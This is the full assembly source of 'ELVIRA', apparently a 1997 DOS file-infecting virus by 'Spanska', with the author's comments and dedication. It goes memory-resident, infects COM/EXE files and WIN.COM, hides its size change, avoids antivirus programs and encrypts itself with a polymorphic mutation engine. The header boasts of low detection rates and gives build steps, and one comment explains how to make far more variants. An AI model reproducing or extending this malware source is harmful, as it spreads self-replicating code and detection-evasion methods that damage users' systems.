; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ ELVIRA virus by Spanska ³ ; ³ Called Spanska.4250 by AV people ³ ; ³ This is my fourth virus ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; ********************************************************************* ; This virus is dedicated to a girl with black hairs and ; green eyes, a so lovely vampyre haunting Paris nights. ; ; - Greets to my friend VicodinES, Roadkill and all 29A guys ; (next time, don't fuck the cyberbar computers with your ; viruses! The day after, i couldn't send a mail to my girl. ; And for the next meeting, i will try to get up for the ; night rendez-vous in the Gran Via McDonald :) ; - French virus coders, where are you? I feel alone... ; ******************************contact me at el_gato@rocketmail.com*** ; ; ; At the time it was released (September 97), the heuristic ; detection on 100 infected bait files was: ; - TBSCAN 7.07 0/100 ; - TBSCANW 7.06 5/100 ; - FPROT 2.26 2/100 ; - AVP 3.0 (1.08) 0/100 ; - FINDVIRUS 7.69 0/100 ; - DRWEB 20/100 ; ; generation zero size: 4297 bytes ; virus size: 4250 bytes ; ; compile it with TASM /m2 and TLINK /t ; ; Properties: ; TSR/runtime COM/EXE semi-stealth polymorphic ; Signature: "k" and seconds = 30 ; No infection of some AV or command.com ; Disables stealth routine in case of archiver execution ; Immediately infects win.com (so it can infect all DOS programs ; under W3.1 or W95). ; Graphical payload with 3 messages in french, english and spanish ; (Star-Wars like effect, see extracted routine in elvira-g.com) ; Slow poly (just 365 possibilities because i'm an idiot) ; ; About the poly routine: ; As you can see, the poly engine is a very simple routine. Each ; instruction on the decryptor is set to a fixed size block (what ; i call "mutation" in the source. There are 14 different blocks. ; For each of these blocks, i have a stock of something like 10 ; similar ones that perform the same operation, but with different ; manner (see end of virus; for exemple, i have 12 ways to get ; the delta offset in 23 bytes). This lame engine has some ; advantages. 1/ It's very easy and quick to code. 2/ You can add ; very easily new blocks in the stock, for example to make new ; undetectable strains. 3/ You can have a great strain variability, ; just limited by your imagination (think all the possible manners ; to replace a "mov ax, bx" or a "call XX"). Of course, there are ; some problems. 1/ Mutation start always at same offset. 2/ You ; sometimes have to "fill the holes" in blocks (with nops for ; example). 3/ Mutation stocks are big (in this virus, 2000-2500 ; bytes). code segment assume ds:code, ss:code, cs:code, es:code org 100h start: db 0E9h, 2Ch, 00 ;jmp start_virus signature db "k" ;signature ;******************FAKE HOST*************************** mov dx, offset message ;* mov ah, 09h ;* int 21h ;* mov ax,4c00h ;* int 21h ;* message db "------Fake host execution-----$" ;* ;****************************************************** start_virus: mutation0: db 0B8h, 38h, 1 ;mov ax, offset delta db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta call $+3 ;delta: mov bx, sp mov dx, ss:[bx] sub dx, ax mov bp, dx add ss:[bx], cx ret clc mutation1: push es push ds push cs push cs pop es pop ds db 14 dup (90h) mutation2: db 0EBh, 0Eh ;jmp decrypte nop nop nop mutation3: baise_flag_cryptage: stosb nop nop nop nop nop mutation4: ret nop nop nop nop ; ;----------------------decrypting routine------------------------- ; decrypte: mutation5: mov cx, fin_cryptage-debut_cryptage nop nop nop mutation6: lea si, [bp+offset debut_cryptage] nop nop nop nop nop nop mutation7: mov di, si nop nop mutation8: mov dl, cs:[bp+offset clef] nop nop nop nop nop mutation9: xor_loop: lodsb nop nop nop nop nop mutation10: xor al, dl nop nop nop nop nop nop nop nop mutation11: call baise_flag_cryptage db 90h, 90h, 90h, 90h, 90h db 90h, 90h, 90h, 90h mutation12: dec cx nop nop nop nop mutation13: cmp cx, 0 nop nop nop mutation14: jne xor_loop db 90h, 90h, 90h db 90h, 90h debut_cryptage: ;end of polymorphic decryptor ;***************** save original es, ds ******************* pop ds pop es push es push ds ;************* test if virus is already resident ****************** mov ax, 6969h int 21h ;is my handler here? cmp bx, 6969h ;if yes, bx = 6969h jne va_resident ;no => go resident jmp deja_installe ;yes => stop ;********************* go TSR *************************** va_resident: push 4a00h pop ax mov bx,0ffffh ;is there some free memory? int 21h ;return bx = memory - max size sub bx,((endvirus-start_virus+0fh)/10h)*2+1 ;substract what we need ;now bx=wanted paragraphs push 4a00h pop ax int 21h ;return es = free block segment push 4800h ;set memory pop ax mov bx,((endvirus-start_virus+0fh)/10h)*2 int 21h ;return ax = free segment dec ax mov es,ax ;es points on the inc ax ;new MCB mov byte ptr es:[0],'Z' ;mark it as the last one mov cx, 8 ;owner = dos mov word ptr es:[1],cx mov cx, cs ;copy virus in memory mov ds, cx lea si, [bp+offset start_virus] mov es, ax xor di, di mov cx, endvirus-start_virus rep movsb push ax ;********** install my interruption 21 ************************ installe: ;------ 1) get the old interruption vector push 3521h pop ax int 21h ;return bx=offset, es=segment pop ds mov ds:[offset ip_21-offset start_virus], bx ;save offset mov ds:[offset cs_21-offset start_virus], es ;save segment ;------ 2) put my own vector mov dx, [offset nouvelle_int_21-offset start_virus] push 2522h pop ax dec ax ;avoid flag M int 21h ;------ 3) Am i WIN.COM? mov word ptr ax, cs:[104h] ;bytes 4 and 5 of WIN.COM de W95 cmp ax, 0E1Fh jne i_am_not_win mov word ptr ax, cs:[106h] ;bytes 6 and 7 of WIN.COM de W95 cmp ax, 0E807h je i_am_win i_am_not_win: call infecte_win ;infect win.com i_am_win: jmp deja_installe ;******************** my interruption 21 ***************************** nouvelle_int_21: cmp byte ptr cs:[stealth_non-start_virus], 0FFh ;archiver: no stealth je saute_dir_stealth xor ah, 55h cmp ah, 44h ;dir? je dir_stealth cmp ah, 47h ;dir? je dir_stealth xor ah, 55h saute_dir_stealth: xor ax, 5555h ;avoid flag L cmp ax, 1E55h ;program execution? jne suite ;no => continue xor ax, 5555h jmp infecte ;yes => infect program suite: xor ax, 5555h cmp ax, 6969h ;residency test? jne vieille_int_21 ;no => let's continue with old int xchg ax, bx ;yes => put 6969h in bx iret ;and return to program ;***************** old interruption 21 ************************* vieille_int_21: db 0EAh ;EAh=JMP FAR ip_21 dw ? ;offset old int cs_21 dw ? ;segment old int iret ;****************** directory stealth ******************************** dir_stealth: xor ah, 55h pushf ;simulation of an int 21h, so push flags push cs ;and segment call vieille_int_21 ;call old int 21h or al, al ;if al=0 all is OK jnz exit_fcb ;if al<>0 stop stealth push ax push bx push es push 5100h ;get current psp pop ax int 21h ;return segment psp in bx, offset in dx mov es, bx ;now es = segment psp cmp bx, es:[16h] ;come from DOS? jnz exit_fcb2 ;no => stop stealth mov bx, dx ;bx= psp offset mov al, [bx] ;extended fcb? push ax ;save marker of extended fcb push 2F00h ;get current dta pop ax int 21h ;return in es:bx dta position pop ax ;get back fcb marker inc al ;FFh+1=0, so if extended z=0 jnz no_fix ;no extended add bx, 7 ;extended: offset is 7 bytes more no_fix: mov al, es:[bx+17h] ;time in al and al, 00011111b ;just look at seconds xor al, 00001111b ;seconds = 30? jne exit_fcb2 ;no => stop stealth cmp word ptr es:[bx+1fh], 0 ;prog<65000? jne soustraction ;no => stealth it cmp word ptr es:[bx+1dh], 500+endvirus-start_virus ;prog no stealth soustraction: sub word ptr es:[bx+1dh], endvirus-start_virus ;substract virus size sbb word ptr es:[bx+1fh], 0 exit_fcb2: pop es pop bx pop ax exit_fcb: iret ;********************* INFECTION *************************************** infecte: pushf push ax push bx push cx push dx push si push di push es push ds ;---- 1) do not infect an anti-virus mov si, dx ;ds:dx = offset program name mov di, offset av_liste-start_virus ;in di, offset AV list cherche_extension: ;find extension lodsb cmp al, "." jnz cherche_extension lodsw mov cs:[f_ext-start_virus], ax ;put extension in memory lodsb mov cs:[f_ext-start_virus+2], al cherche_debut: ;find start of program name dec si dec si lodsb cmp al, "\" jne cherche_debut mov cs:[f_name-start_virus], ds ;put segment/offset of program name mov cs:[f_name-start_virus+2], si ;in memory push cs ;scasw uses es:di pop es ;so exchange segments lodsw ;get 2 first letters mov cx, 13 ;12 AV names to compare + COMMAND.COM repne scasw ;compare jne av_ok jmp redonne_la_main ;it's an AV => do not infect av_ok: mov byte ptr cs:[stealth_non-start_virus], 0 ;switch to zero mov cx, 5 ;5 archivers repne scasw ;test names jne zip_ok mov byte ptr cs:[stealth_non-start_virus], 0FFh ;it's an archiver zip_ok: ;----- 2) open file and read header mov ds, cs:[f_name-start_virus] ;file name in mov dx, cs:[f_name-start_virus+2] ;ds:dx for attribs push 4300h ;get attribs in al pop ax int 21h mov byte ptr cs:[f_attrib-start_virus], al ;attribs in memory xor cx, cx push 4301h ;attribs to zero pop ax int 21h mov ax, 03d02h ;open file in read/write int 21h jnc cont jmp redonne_la_main_attributs ;problem? do not infect cont: xchg ax, bx ;handle in bx mov word ptr cs:[f_handle-start_virus], bx push cs ;all segments point push cs ;to virus code pop es pop ds push 5700h ;get time/date pop ax int 21h mov cs:[f_time-start_virus], cx ;in memory mov cs:[f_date-start_virus], dx mov ax, 3F00h ;read file mov cx, 1ch ;1Ch first bytes mov dx, offset exehead-start_virus ;in their buffer int 21h ;---- 3) is it an exe or a com? cmp ds:[f_ext-start_virus], "XE" jne compare_suite cmp byte ptr ds:[f_ext-start_virus+2], "E" jne compare_suite jmp infecte_exe compare_suite: cmp ds:[f_ext-start_virus], "OC" jne pas_bonne_ext cmp byte ptr ds:[f_ext-start_virus+2], "M" je infecte_com pas_bonne_ext: jmp ferme_et_redonne_la_main_sans_infection ;---- 4) COM infection infecte_com: cmp byte ptr ds:[exehead-start_virus+3], "k" ;already infected? jz pas_bonne_ext ;yes => do not infect mov si, offset exehead-offset start_virus ;transfert 4 bytes mov di, offset contenu-offset start_virus ;from buffer to new location movsw movsw mov ax, 4202h ;pointer at the end of file push ax ;return size in ax pop ax xor cx, cx xor dx, dx int 21h cmp ax, 56000 ;no infection if jb verif_trop_petit jmp ferme_et_redonne_la_main_sans_infection ;.com is > 56000 verif_trop_petit: cmp ax, 500 ja ecriture_com jmp ferme_et_redonne_la_main_sans_infection ;or < 500 ecriture_com: sub ax, 3 ;size-3 (cause JMP at start) push ax ;save corrected size CALL POLY_DEPUIS_RESIDENT push 4000h ;write decryptor pop ax xor dx, dx mov cx, debut_cryptage-start_virus int 21h push 4000h ;write encrypted body pop ax mov dx, offset heap-start_virus mov cx, endvirus-debut_cryptage int 21h mov di, offset exehead-offset start_virus ;adjust buffer mov al, 0E9h ;with a jump stosb pop ax stosw ;then corrected size mov al, "k" stosb ;then signature mov ax, 4200h ;pointer at file start push ax pop ax xor cx, cx xor dx, dx int 21h push 4000h ;overwrite 4 first bytes pop ax ;with JMP+signature mov cx, 4 mov dx, offset exehead-start_virus int 21h jmp ferme_et_redonne_la_main ;----- 5) EXE infection infecte_exe: cmp byte ptr ds:[exehead-start_virus+18h], 40h ;windows file? je exe_pas_bon ;yes => stop cmp byte ptr ds:[exehead-start_virus+12h], "k" ;already infected? je exe_pas_bon ;yes => stop mov ax, word ptr ds:[exehead-start_virus] ;good MZ header? add ah, al ;add M+Z cmp ah,0A7h ;avoid flag Z je exe_bon exe_pas_bon: jmp ferme_et_redonne_la_main_sans_infection exe_bon: ;save header values mov di, offset vIP-offset start_virus mov ax, word ptr cs:[exehead-start_virus+14h] stosw mov ax, word ptr cs:[exehead-start_virus+16h] stosw mov ax, word ptr cs:[exehead-start_virus+0Eh] stosw mov ax, word ptr cs:[exehead-start_virus+10h] stosw mov ax, 4202h ;pointer at file end push ax ;return size in dx:ax pop ax xor cx, cx xor dx, dx int 21h push ax ;save size push dx ; calculate new CS:IP push ax mov ax, word ptr cs:[exehead-start_virus+08h] mov cl, 4 shl ax, cl mov cx, ax pop ax sub ax, cx sbb dx, 0 mov cl, 0Ch shl dx, cl mov cl, 4 push ax shr ax, cl add dx, ax shl ax, cl pop cx sub cx, ax mov word ptr cs:[exehead-start_virus+14h], cx ;new CS:IP values mov word ptr cs:[exehead-start_virus+16h], dx inc dx ;avoid flag K mov word ptr cs:[exehead-start_virus+0Eh], dx ;new SS:SP values mov word ptr cs:[exehead-start_virus+10h], 0FFFEh ; calculate new size pop dx pop ax push ax add ax, endvirus-start_virus adc dx, 0 mov cl, 7 shl dx, cl mov cl, 9 shr ax, cl add ax, dx inc ax mov word ptr cs:[exehead-start_virus+04h], ax pop ax add ax, endvirus-start_virus and ah, 1 mov word ptr cs:[exehead-start_virus+02h], ax mov word ptr cs:[exehead-start_virus+12h], "k" ;write signature mov ax, 4202h ;pointer at file end push ax pop ax xor cx, cx xor dx, dx int 21h CALL POLY_DEPUIS_RESIDENT push 4000h ;write decryptor pop ax xor dx, dx mov cx, debut_cryptage-start_virus int 21h push 4000h ;write encrypted body pop ax mov dx, offset heap-start_virus mov cx, endvirus-debut_cryptage int 21h mov ax, 4200h ;pointer at file start push ax pop ax xor cx, cx xor dx, dx int 21h push 4000h ;overwrite exe header pop ax mov cx, 1ch mov dx, offset exehead-start_virus int 21h jmp ferme_et_redonne_la_main ;----- 6) close and return to program ferme_et_redonne_la_main_sans_infection: mov cx, cs:[f_time-start_virus] ;get time/date from memory mov dx, cs:[f_date-start_virus] jmp time_date ferme_et_redonne_la_main: mov cx, cs:[f_time-start_virus] ;get time/date from memory mov dx, cs:[f_date-start_virus] and cl, 11100000b ;change seconds to 30 xor cl, 00001111b ;as an infection marker time_date: push 5701h ;change time/date pop ax ;avoid flag F int 21h mov ax, 3e00h ;close file int 21h redonne_la_main_attributs: mov ds, cs:[f_name-start_virus] ;file name in mov dx, cs:[f_name-start_virus+2] ;ds:dx for attribs xor ch, ch mov byte ptr cl, cs:[f_attrib-start_virus] ;set back attribs push 4301h pop ax int 21h redonne_la_main: pop ds pop es pop di pop si pop dx pop cx pop bx pop ax popf jmp vieille_int_21 ;after infection, continue with normal int ;****** if program is already resident, or after going TSR ********* deja_installe: pop ds ;get original segments pop es ;******************* bomb or not bomb? ********************************** bombe_ou_pas: mov ah, 2Ch ;internal clock: return ch=hour and cl=minute int 21h cmp cl, 30d ;are we at 30'? jne com_ou_exe ;no => terminate cmp dh, 15d ;yes => test seconds ja com_ou_exe ;if seconds > 15 we finish jmp bombe ;if seconds < 15 the bomb explodes! (1/240) ;************* terminate a com or an exe? **************** com_ou_exe: cmp byte ptr cs:0, 0CDh ;a COM always have an INT 20h at offset 0 je redonne_main_com ;------ 1) terminate an exe mov ax, es add ax, 10h add word ptr cs:[bp+vCS], ax cli add ax, word ptr cs:[bp+vSS] mov ss, ax mov sp, word ptr cs:[bp+vSP] sti call annuler_registres db 0EAh ;far jump to the original exe code contenu: vIP dw 9090h ;buffer to stock original file info vCS dw 9090h ;EXE: stock ip, cs, ss, sp vSS dw 9090h ;COM: stock les 5 premiers octets vSP dw 9090h ;----- 2) terminate a com redonne_main_com: mov cx, word ptr [bp+offset contenu] ;transfer 4 first bytes mov cs:[100h], cx ;to file start in memory mov cx, word ptr [bp+offset contenu+2] ;avoid flag O mov cs:[102h], cx mov di, 101h ;put 100h into stack for the RET dec di ;avoid flag B push di call annuler_registres ret ;----- all registers to zero annuler_registres: xor ax, ax xor bx, bx xor cx, cx xor dx, dx xor di, di xor si, si xor bp, bp ret ;********************************************************************** ;*************** infect win.com in runtime mode *********************** ;********************************************************************** infecte_win: push ds push es push cs push cs pop ds pop es mov cx, 0007h ;all attribs lea dx, cs:[bp+offset file_win] ;ds:dx= file name (win.com) mov ax, 4e00h ;find file int 21h jnc suite_win jmp fin_win suite_win: push 4300h pop ax int 21h mov byte ptr cs:[bp+f_attrib], al ;attribs in memory xor cx, cx push 4301h ;attribs to zero pop ax int 21h mov ax, 3D02h ;open file lea dx, cs:[bp+offset file_win] ;to file name int 21h jc remise_en_etat2 xchg ax, bx ;handle in bx mov word ptr cs:[bp+f_handle], bx ;and in memory push 5700h ;get time/date pop ax int 21h mov word ptr cs:[bp+f_time], cx ;in memory mov word ptr cs:[bp+f_date], dx mov cx, 4 ;4 bytes to read mov ax, 3F00h ;read file lea dx, cs:[bp+offset exehead] ;buffer int 21h jc remise_en_etat cmp byte ptr cs:[bp+offset exehead+3], "k" ;already infected? jne continue_inf_win ;no => continue remise_en_etat: mov ah, 3Eh ;close file int 21h remise_en_etat2: mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl lea dx, [bp+offset file_win] push 4301h ;change attribs pop ax ;avoid flag F int 21h jmp fin_win continue_inf_win: lea si, cs:[bp+offset contenu] ;4 first bytes lea di, cs:[bp+offset win4octets] ;in a temp buffer movsw movsw lea si, cs:[bp+offset exehead] lea di, cs:[bp+offset contenu] movsw movsw ;---------pointer to end of disk file (return size in dx:ax)--------- mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h sub ax, 3 ;size-3 (cause JMP at start) push ax ;remember size CALL POLY_DEPUIS_RUNTIME ;poly, but from runtime routine push 4000h ;write decryptor pop ax lea dx, cs:[bp+offset start_virus] mov cx, debut_cryptage-start_virus int 21h push 4000h ;write encrypted body pop ax lea dx, cs:[bp+offset heap] mov cx, endvirus-debut_cryptage int 21h lea di, [bp+offset exehead] ;adjust buffer mov al, 0E9h ;with a jump stosb pop ax stosw ;and with size-3 mov al, "k" stosb ;and then signature mov ax, 4200h ;pointer at file start push ax pop ax xor cx, cx xor dx, dx int 21h push 4000h ;overwrite 4 first bytes pop ax mov cx, 4 lea dx, [bp+offset exehead] int 21h mov cx, cs:[bp+f_time] ;get time/date mov dx, cs:[bp+f_date] and cl, 11100000b ;seconds to 30 xor cl, 00001111b ;as infection marker push 5701h ;change time/date pop ax ;avoid flag F int 21h mov ah, 3Eh ;close file int 21h mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl lea dx, cs:[bp+offset file_win] push 4301h ;change attribs pop ax ;avoid flag F int 21h lea si, cs:[bp+offset win4octets] ;get back 4 win.com lea di, cs:[bp+offset contenu] ;first bytes movsw movsw fin_win: pop es pop ds ret ;******************************************************* ;******************** BOMB ***************************** ;******************************************************* bombe: largeur equ 255 profondeur equ 40 ;-----------all segments equal to cs------------- push cs push cs pop ds pop es terrain: ;--------------------go to VGA mode 13h------------------------------- mov ax, 13h int 10h ;------------------set color 1 to black---------------------------- mov dx, 3c8h xor al, al out dx, al inc dx mov cx, 6 tout_noir: out dx, al loop tout_noir ;--------------write black message on screen------------------------- ; 1/ select one of the 3 messages randomly xor dx, dx lea si, [bp+msg_bombe+23] push si pop di mov ax, 3 mov bx, 23*3 call mute_bloc lea si, [bp+offset msg_bombe] mov cx, 5 affiche_message: cmp cx, 4 ;second line is empty je pas_ligne_3 ; 2/ put cursor to good coordinates xor bh, bh mov ah,02h int 10h ; 3/ write one line push cx mov cx, 23 affiche_ligne: lodsb mov bl, 1 mov ah, 0Eh int 10h loop affiche_ligne pop cx pas_ligne_3: add dh, 1 loop affiche_message ;--------------initialize segments----------------------- mov ax, 0A000h mov ds, ax mov ax, cs add ah, 32 ;data will be on a stock segment far mov es, ax ;away from actual code push es ;on stack (cf [@@] + bas) ;-------------creation of the table (x,z) NB: y constant-------------- ;here ds=video es=stock mov cx, (largeur*profondeur) ;255*40 coordinates xor si, si ;start of video screen xor di, di ;start of stock zone xor dx, dx ;end line counter table: mov bl, cl ;X: 0 next video line pas_fin_de_ligne: ;not end of line movsb ;stock COLOR mov ax, cx ;Z: 0 OK sub ax, 200 ;yes => put it at the front ca_sort_pas: inc ax ;increment distance mov word ptr ds:[si-2], ax ;stock new Z ;----------calculate xx et yy (screen) from x, y, z (3D)------------- ;optimization using bl as X and color as bh push cx ;save counter xchg ah, bl ;get X in ah xor bl, bl ;bl used to remember sign cmp ah, 128 ;X positive? jb suite5 ;yes => OK neg ah ;no => let's positivize it inc bl ;and we remember it was negative suite5: ;NB: calculations in fixed point mode xor al, al ;X is in ah, same order than Z xor dx, dx ;dx will not fuck my div div word ptr cs:[bp+offset z] ;div X by Z push ax ;result is coordinate 2D (XX) mov ah, 60 ;Y is backside, altitude 60 = ground xor al, al ;Y is in ah, same order than Z xor dx, dx ;i said dx will not fuck my div div word ptr cs:[bp+offset z] ;div Y by Z xchg cx, ax ;result is coordinate 2D (YY) ;-------calculate video offset of points from XX and YY-------------- ;optimization using cx as YY and XX on stack ;color is in bh, sign in bl pop dx ;get XX from stack cmp cx, 170 ;too much at the bottom: no plot ja pas_plot cmp dx, 156 ;too much on sides: no plot ja pas_plot push dx ;XX loves the stack mov ax, 320 ;screen width mul cx ;multiply YY by width pop dx ;XX from stack to dx cmp bl, 1 ;X and XX negative? jne pos sub ax, dx ;yes => substract XX from ax jmp suite4 pos: add ax, dx ;non => add XX to ax suite4: add ax, (320*30)+160 ;add screen height ;--------calculate color of point (shade effect)------------------ mov di, ax ;ax is video offset of point push ax ;on stack or bh, bh ;black point? je eteindre ;yes => bypass shading routine mov word ptr bx, cs:[bp+offset z] ;128 little point (far) cmp dx, 320*151 ;above line 153? jb moyen ;yes => middle point proche: ;other case => big point (near) stosb stosb stosb add di, 320-3 ;big = 2 lines of 3 pixels stosb stosb stosb jmp pas_plot moyen: stosb ;middle = 2 pixels fond: stosb ;little = 1 pixel pas_plot: pop cx ;get back counter dec cx ;one more point je suite9 ;end of screen? jmp dessine ;no => next point suite9: jmp anime ;yes => next screen ;-----------memory zones used for graphic effect------------ msg_bombe db " ELVIRA ! " db " Black and White Girl " db " from Paris " db "You make me feel alive." db "Pars. Reviens. Respire." db " Puis repars. " db " J'aime ton mouvement. " db " Bruja con ojos verdes " db " Eres un grito de vida," db " un canto de libertad. " z dw ? ;************ memory zones used by virus******************** win4octets db 90h, 90h, 90h, 90h f_ext db 0EEh, 0EEh, 0EEh f_attrib db 0AAh f_name dd ? f_time dw ? f_date dw ? f_handle dw ? exehead db 1Ch dup(0aah) av_liste db "TBVIAVNAVSFIF-FVIVDRSCGUCO" zip_liste db "PKARRALHBA" stealth_non db 0 file_win db "C:\WINDOWS\WIN.COM", 0 copyright db " (c) Spanska 97" ;**************************************************** ;********** STUPID MUTATION ENGINE ****************** ;**************************************************** poly_depuis_runtime: push ax push bx push cx push dx push es push ds push bp jmp overwrite poly_depuis_resident: push ax push bx push cx push dx push es push ds push bp mov bp, offset start_virus ;adjust bp value to use from TSR neg bp ;-----random mutation of decryptor instructions and replacement of code----- overwrite: lea si, [bp+_mutation0] ;stock of possible mutations lea di, [bp+mutation0] ;offset of mutation in decryptor mov ax, 12 ;number of possibilities mov bx, 23 ;byte number of this mutation call mute_bloc ;random select one possibility lea si, [bp+_mutation1] lea di, [bp+mutation1] mov ax, 10 mov bx, 20 call mute_bloc lea si, [bp+_mutation2] lea di, [bp+mutation2] mov ax, 10 mov bx, 5 call mute_bloc lea si, [bp+_mutation3] lea di, [bp+mutation3] mov ax, 10 mov bx, 6 call mute_bloc lea si, [bp+_mutation4] lea di, [bp+mutation4] mov ax, 8 mov bx, 5 call mute_bloc lea si, [bp+_mutation5] lea di, [bp+mutation5] mov ax, 9 mov bx, 6 call mute_bloc lea si, [bp+_mutation6] lea di, [bp+mutation6] mov ax, 8 mov bx, 10 call mute_bloc lea si, [bp+_mutation7] lea di, [bp+mutation7] mov ax, 9 mov bx, 4 call mute_bloc lea si, [bp+_mutation8] lea di, [bp+mutation8] mov ax, 7 mov bx, 10 call mute_bloc lea si, [bp+_mutation9] lea di, [bp+mutation9] mov ax, 10 mov bx, 6 call mute_bloc mov ax, 100 call aleatoire cmp ax, 20 ;20% chances for a XOR encryption ja evite_suite jmp cryptage_xor evite_suite: cmp ax, 40 ;20% chances for a ADD/SUB encryption jb cryptage_add cmp ax, 55 ;15% chances for a ROL/ROR encryption jb cryptage_rol cmp ax, 70 ;15% chances for a INC/DEC encryption jb cryptage_inc cmp ax, 85 ;15% chances for a NOT encryption jb cryptage_not ;15% chances for a NEG encryption cryptage_neg: mov byte ptr cs:[bp+type_cryptage], 5 lea si, [bp+_mutation10sixte] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_not: mov byte ptr cs:[bp+type_cryptage], 4 lea si, [bp+_mutation10quinte] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_inc: mov byte ptr cs:[bp+type_cryptage], 3 lea si, [bp+_mutation10quart] lea di, [bp+mutation10] mov ax, 5 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_rol: mov byte ptr cs:[bp+type_cryptage], 2 lea si, [bp+_mutation10ter] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_add: mov byte ptr cs:[bp+type_cryptage], 1 lea si, [bp+_mutation10bis] lea di, [bp+mutation10] mov ax, 5 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_xor: mov byte ptr cs:[bp+type_cryptage], 0 lea si, [bp+_mutation10] lea di, [bp+mutation10] mov ax, 8 mov bx, 10 call mute_bloc evite_autres_cryptages: lea si, [bp+_mutation11] lea di, [bp+mutation11] mov ax, 6 mov bx, 12 call mute_bloc lea si, [bp+_mutation12] lea di, [bp+mutation12] mov ax, 11 mov bx, 5 call mute_bloc lea si, [bp+_mutation13] lea di, [bp+mutation13] mov ax, 9 mov bx, 6 call mute_bloc lea si, [bp+_mutation14] lea di, [bp+mutation14] mov ax, 6 mov bx, 7 call mute_bloc ;---------------- new random encryption key from clock --------------- mov ah, 2Ch int 21h mov cs:[bp+offset clef], dl ;------------- encrypt virus body in the heap ----------------------------- lea si, [bp+offset debut_cryptage] lea di, [bp+offset heap] mov cx, fin_cryptage - debut_cryptage mov al, byte ptr cs:[bp+type_cryptage] cmp al, 0 je xor_crypte cmp al, 1 je sub_crypte cmp al, 2 je ror_crypte cmp al, 3 je dec_crypte cmp al, 4 je not_crypte neg_crypte: lodsb neg al stosb loop neg_crypte jmp evite_autres_loops not_crypte: lodsb not al stosb loop not_crypte jmp evite_autres_loops dec_crypte: lodsb dec al stosb loop dec_crypte jmp evite_autres_loops ror_crypte: lodsb ror al, 1 stosb loop ror_crypte jmp evite_autres_loops sub_crypte: lodsb sub al, dl stosb loop sub_crypte jmp evite_autres_loops xor_crypte: lodsb xor al, dl stosb loop xor_crypte evite_autres_loops: mov al, dl stosb pop bp pop ds pop es pop dx pop cx pop bx pop ax ret ;----------pseudo-random number generator-------------- ;in: ax = upper limit ;out: ax = random number between 0 et limit-1 included aleatoire: push bx push dx ;i've made a little error in this routine, push cx ;because i wanted to make slow poly with: xchg ax, bx mov ah, 2Ah ;get date: return dh=month dl=day int 21h xchg dx, ax ;i didn't thought that will restrict the xor ax, 0FFFFh ;number of possible mutants to 365 (thanks xor dx, dx ;to AVP to have shown me this error). Replace div bx ;the "get date" (mov ah, 2Ah) by a "get time" xchg ax, dx ;(mov ah, 2Ch) and you will have millions pop cx ;of possible mutants. pop dx pop bx ret ;------------change an entire block of instructions-------------- ;in: si=stock zone, di=offset in decryptor ;ax=number of possibilities, bx=number of bytes mute_bloc: call aleatoire mov cx, bx mul bx add si, ax rep movsb ret ;-------------possible mutations------------------------ ;0/ get delta offset in 23 bytes _mutation0: mov di, sp call $+4 ;delta: ret dec di dec di db 36h, 81h, 2Dh, 34h, 1 ;sub ss:[di], offset delta mov bp, ss:[di] add word ptr ss:[di], offset mutation1 db 0EBh, 0EEh ;jmp delta mov si, sp call $+4 ;delta: ret dec si dec si db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta mov bp, ss:[si] add word ptr ss:[si], offset mutation1 db 0EBh, 0EEh ;jmp delta mov si, sp call $+5 ;delta: int 20h dec si dec si db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta mov bp, ss:[si] add word ptr ss:[si], offset mutation1 ret nop mov di, sp sub di, 2 call $+3 ;delta: db 36h, 81h, 2Dh, 38h, 1 ;sub ss:[di], offset delta mov bp, ss:[di] add word ptr ss:[di], offset mutation1 ret nop nop nop nop nop call $+3 ;delta: mov bp, sp mov ax, [bp] db 83h, 46h, 0, 0Fh ;add word ptr [bp], mutation1-delta db 2Dh, 37h, 1 ;sub ax, offset delta mov bp, ax ret call $+4 nop ;delta: mov ax, sp xchg ax, bx mov ax, ss:[bx] inc ax db 36h, 83h, 07, 14h ;add word ptr ss:[bx], mutation1-delta+1 db 2Dh, 33h, 1 ;sub ax, offset delta mov bp, ax ret nop nop sub bx, bx or bx, sp dec bx call $+3 ;delta: dec bx db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta mov bp, ss:[bx] db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1 ret nop call $+7 ;delta: mov cl, 2 db 0E2h, 0Fh ;loop mutation1 mov ax, 0FFFFh and ax, sp xchg ax, bx mov ax, ss:[bx] db 2Dh, 33h, 1 ;sub ax, offset delta mov bp, ax ret mov ax, sp dec ax dec ax xchg ax, bx call $+3 ;delta: db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta mov bp, ss:[bx] db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1 ret nop mov bx, sp call $+3 ;delta: db 36h, 81h, 6Fh, 0FEh, 34h, 1 ;sub ss:[bx-2], offset delta mov bp, ss:[bx-2] add word ptr ss:[bx-2], offset mutation1 ret int 3h call $+3 ;delta: mov bx, sp mov ax, ss:[bx] db 05, 14h, 0 ;add ax, mutation1-delta db 36h, 81h, 2Fh, 32h, 1 ;sub ss:[bx], offset delta mov bp, ss:[bx] mov ss:[bx], ax ret db 0B8h, 38h, 1 ;mov ax, offset delta db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta call $+3 ;delta: mov bx, sp mov dx, ss:[bx] sub dx, ax mov bp, dx add ss:[bx], cx ret clc ;1/ push es, ds then put es=ds=cs in 20 bytes _mutation1: push es push ds push cs push cs pop es pop ds db 10 dup (90h) clc db 2 dup (90h) clc db 9 dup (90h) push es nop push ds nop push cs nop pop es nop push cs nop 